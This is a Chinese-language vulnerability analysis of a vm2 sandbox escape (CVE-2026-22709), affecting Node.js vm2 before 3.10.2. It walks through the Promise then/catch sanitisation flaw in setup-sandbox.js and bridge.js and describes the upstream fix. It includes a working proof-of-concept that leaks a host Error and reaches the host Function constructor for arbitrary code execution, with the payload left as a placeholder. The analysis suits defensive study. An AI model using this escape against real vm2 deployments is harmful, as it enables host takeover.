漏洞简介

VM2 是一个开源的虚拟机/沙盒Node.js。在 vm2 版本 3.10.2 之前,'Promise.prototype.then' 和 'Promise.prototype.catch' 的回调净化可以被绕过。这使得攻击者能够逃离沙盒,运行任意代码。在 lib/setup-sandbox.js 中,'localPromise.prototype.then' 的回调函数被净化,但 'globalPromise.prototype.then' 没有净化。异步函数的返回值是“globalPromise”对象。3.10.2版本修复了这个问题。

漏洞影响

评分:9.8

影响:<3.10.2

漏洞分析

用户使用某个应用程序的api进入沙箱执行代码时,实例化vm2库去执行相关操作时,那么就会触发漏洞

用户代码:

const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();


promise.catch(e => {
    const Error = e.constructor;
    const Function = Error.constructor;
    const f = new Function("恶意代码");
    f();
});

代码初始化分析

实例化vm2库时,其构造函数会执行到这里

我们跳一下

走到了这里,这里将setup-sandbox.js的所有代码进行读取,并包裹在一个方法里面,然后编译该方法,也就是执行setup-sandbox.js的所有代码

那么到setup-sandbox.js看看执行了什么代码

const globalPromise = global.Promise;

获取Promise 构造函数

const globalPromiseThen = globalPromise.prototype.then;
const globalPromiseCatch = globalPromise.prototype.catch;

然后在这里保存原始的then方法和catch方法

globalPromise.prototype.then = function then(onFulfilled, onRejected) {
	resetPromiseSpecies(this);
	if (typeof onFulfilled === 'function') {
		const origOnFulfilled = onFulfilled;
		onFulfilled = function onFulfilled(value) {
			value = ensureThis(value);
			return apply(origOnFulfilled, this, [value]);
		};
	}
	if (typeof onRejected === 'function') {
		const origOnRejected = onRejected;
		onRejected = function onRejected(error) {
			error = ensureThis(error);
			return apply(origOnRejected, this, [error]);
		};
	}
	return globalPromiseThen.call(this, onFulfilled, onRejected);
};

globalPromise.prototype.catch = function _catch(onRejected) {
	resetPromiseSpecies(this);
	if (typeof onRejected === 'function') {
		const origOnRejected = onRejected;
		onRejected = function onRejected(error) {
			error = ensureThis(error);
			return apply(origOnRejected, this, [error]);
		};
	}
	return globalPromiseCatch.call(this, onRejected);
};

在这里对then方法和catch进行了重写,先进行包装回调函数,再调用globalPromiseThen.call和globalPromiseCatch.call,其中的this分别指的是调用 then和catch 的 Promise 实例

漏洞点就处于两个重写方法的return里面:

return globalPromiseThen.call(this, onFulfilled, onRejected);
return globalPromiseCatch.call(this, onRejected);

这里返回时将.call暴露出来了,导致.call() 可以被用户在沙箱内覆盖,而this指向了Promise 实例

因此用户可以覆盖.call()

用户代码执行时

实际上就是vm.run() 内部调用

if (!this.timeout) {
			return this._runScript(script);
		}

		return doWithTimeout(() => {
			return this._runScript(script);
		}, this.timeout);

执行用户代码

const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();


promise.catch(e => {
    const Error = e.constructor;
    const Function = Error.constructor;
    const f = new Function("恶意代码");
    f();
});

创建Error对象

设置Symbol属性

创建async函数(由于async 函数是 JavaScript 语言内置语法,所以该函数无法被vm2完全重写,其函数特性:它总是返回它所在环境的全局 Promise)

因此执行async函数时,V8 引擎直接处理 async 语法,创建 Promise 时使用当前上下文的 Promise 构造函数, 在沙箱中,这就是 global.Promise(globalPromise)

执行async函数,由于error.stack 访问会检查 error.name,从而导致触发错误,其错误对象的原型是宿主机的 Error.prototype,由于 error.name 是 Symbol,V8 特殊处理,返回 globalPromise

因为触发错误导致,调用promise.catch()进行错误捕捉,由于promise接收了f()返回的global.Promise,所以promise.catch()实际上是globalPromise.prototype.catch.call捕捉了错误

这里就进入了vm2的重写方法,将错误先丢入回调函数

if (typeof onRejected === 'function') {
		const origOnRejected = onRejected;
		onRejected = function onRejected(error) {
			error = ensureThis(error);
			return apply(origOnRejected, this, [error]);
		};
	}

ensureThis对错误对象进行转换

在bridge.js里面将ensureThis重命名为thisEnsureThis

let proto = thisReflectGetPrototypeOf(other);

获取错误对象的原型:宿主环境的 Error.prototype

while (proto) {
					const mapping = thisReflectApply(thisMapGet, protoMappings, [proto]);

这里检查 protoMappings 是否有宿主机 Error.prototype 的映射,但是protoMappings 只包含沙箱原型的映射,宿主 Error.prototype 不在映射表中,因此由于没找到映射,在这里就不会执行下去了

return error;

然后将包含宿主机引用的Error 被原样返回,从而导致沙箱逃逸

然后包含宿主机引用的Error 被一步步返回给用户,用户通过该该Error 进行原型链构造获取宿主 Function 执行任意代码

漏洞修复

将vm2 重写 Promise 的 then/catch 方法进行修改

return apply(globalPromiseThen, this, [onFulfilled, onRejected]);

使用该方法使得用户无法进行覆盖操作

参考

https://nvd.nist.gov/vuln/detail/CVE-2026-22709

https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29

https://github.com/patriksimek/vm2/security/advisories/GHSA-99p7-6v5w-7xg8